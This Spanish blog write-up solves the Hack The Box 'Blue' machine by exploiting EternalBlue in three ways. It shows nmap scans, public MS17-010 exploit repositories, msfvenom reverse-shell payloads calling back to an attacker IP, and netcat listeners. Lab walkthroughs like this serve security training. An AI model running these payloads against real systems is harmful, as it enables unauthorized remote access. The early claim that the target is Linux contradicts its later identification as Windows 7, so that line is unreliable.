Entrada

Blue

En este post, abordaremos la resolución de la máquina Blue de la plataforma Hack The Box. Esta máquina exhibe una vulnerabilidad ampliamente reconocida, la cual exploraremos explotando de tres formas distintas manualmente. La vulnerabilidad a la que me refiero es comúnmente conocida como EternalBlue, identificada con el CVE-2017-0144.

Reconocimiento

Comenzamos lanzando una traza ICMP a la máquina objetivo para comprobar que tengamos conectividad.

blue Reconocimento usando el comando ping

Podemos observar, que responde al envío de nuestro paquete, verificando de esta manera que tenemos conectividad. Por otra parte, confirmamos que estamos frente a una máquina Linux basandonos en el TTL (Time To Live).

Enumeración

Descubrimiento de puertos abiertos

Realizamos un escaneo con nmap para descubrir que puertos TCP se encuentran abiertos en la máquina víctima.

1
nmap -sS -p- --open --min-rate 5000 10.10.10.40 -oG scanPorts -vvv

blue Descubrimiento de puertos abiertos

ver la Cheatsheet para más detalle sobre los parámetros utilizados.

Enumeración de versión y servicio

Lanzamos una serie de script básicos de enumeración propios de nmap, para conocer la versión y servicio que esta corriendo bajo los puertos abiertos.

1
nmap -sCV -p135,139,445,49152,49153,49154,49155,49156,49157 10.10.10.40 -oN targeted -vvv

blue Descubrimiento de versión y servicio con nmap

ver la Cheatsheet para más detalle sobre los parámetros utilizados.

Como evidenciamos en el escaneo, nos encontramos frente a una máquina Windows 7 de 64 bits que expone el puerto 445 (SMB). Realizando una búsqueda rápida en Google, confirmamos que esta versión específica está incluida entre las versiones afectadas por la vulnerabilidad conocida como EternalBlue.

Explotación - Forma 1

Para llevar a cabo la explotación de esta vulnerabilidad, estaremos usando en primera instancia el exploit AutoBlue-MS17-010.

Primero, debemos descargar el repositorio.

1
git clone --recursive https://github.com/3ndG4me/AutoBlue-MS17-010.git

Luego, tenemos que preparar nuestro shellcode. Para lo cual, debemos ejecutar el script shell_prep.sh.

blue Preparación del shellcode

blue Preparación del shellcode

A continuación, debemos establecer un listener utilizando netcat nc.

blue Establecemos un listener con netcat

Por ultimo, ejecutamos el exploit.

blue Ejecución del exploit

De esta forma, ganamos acceso a la máquina víctima como el usuario NT AUTHORITY\SYSTEM.

blue Ganamos acceso al sistema

Explotación - Forma 2

Para realizar esta explotación, utilizaremos un exploit disponible en Exploit-DB.

blue Exploit-DB MS17-010

Antes de llevar a cabo la ejecución, debemos realizar algunas modificaciones en el script.

En primer lugar, tendremos que asignar a la variable USERNAME el valor de guest.

blue Asignamos a la variable USERNAME el valor de guest

Posteriormente, es necesario especificar la ubicación de nuestro payload y asegurarnos de que se ejecute automáticamente una vez que se cargue en la máquina víctima.

blue Modifiación del script

Después, procedemos a generar nuestro payload utilizando la herramienta msfvenom.

1
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.29 LPORT=5555 -f exe > eternal-blue.exe

blue Creación del payload usando msfvenom

Establecemos un listener con netcat.

1
rlwrap nc -lnvp 5555

Ejecutamos el exploit

blue Establecemos un listener con netcat

Y ganamos acceso al sistema.

blue Ganamos acceso al sistema

Explotación - Forma 3

Por ultimo, para nuestra forma de explotación número 3 utilizaremos el siguiente repositorio: https://github.com/helviojunior/MS17-010

Primero, procedemos a descargar el repositorio.

1
git clone --recursive https://github.com/helviojunior/MS17-010.git

Luego, al igual que el exploit anterior, debemos generar nuestro payload. Para lo cual, utilizaremos nuevamente msfvenom.

1
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.29 LPORT=6666 -f exe > evil-shell.exe

blue Creación del payload usando msfvenom

Por otra parte, debemos asignar a la variable USERNAME el valor de guest.

blue Asignamos a la variable USERNAME el valor de guest

Establecemos un listener con netcat.

1
rlwrap nc -lnvp 6666

Ejecutamos el exploit

blue Establecemos un listener con netcat

Y de esta forma, volvemos a ganar acceso al sistema.

blue Ganamos acceso al sistema

Por ultimo, para completar la máquina solo resta leer los flags de user.txt y root.txt.

blue user.txt

blue root.txt

Con esto, concluimos la resolución de la máquina Blue.

Confío en que los conceptos hayan quedado claros. Si aún persisten dudas después de llegar a este punto, te sugiero considerar la posibilidad de revisitar la máquina para reforzar tu comprensión.

Gracias por tu lectura!

Happy Hacking!

Esta entrada está licenciada bajo CC BY 4.0 por el autor.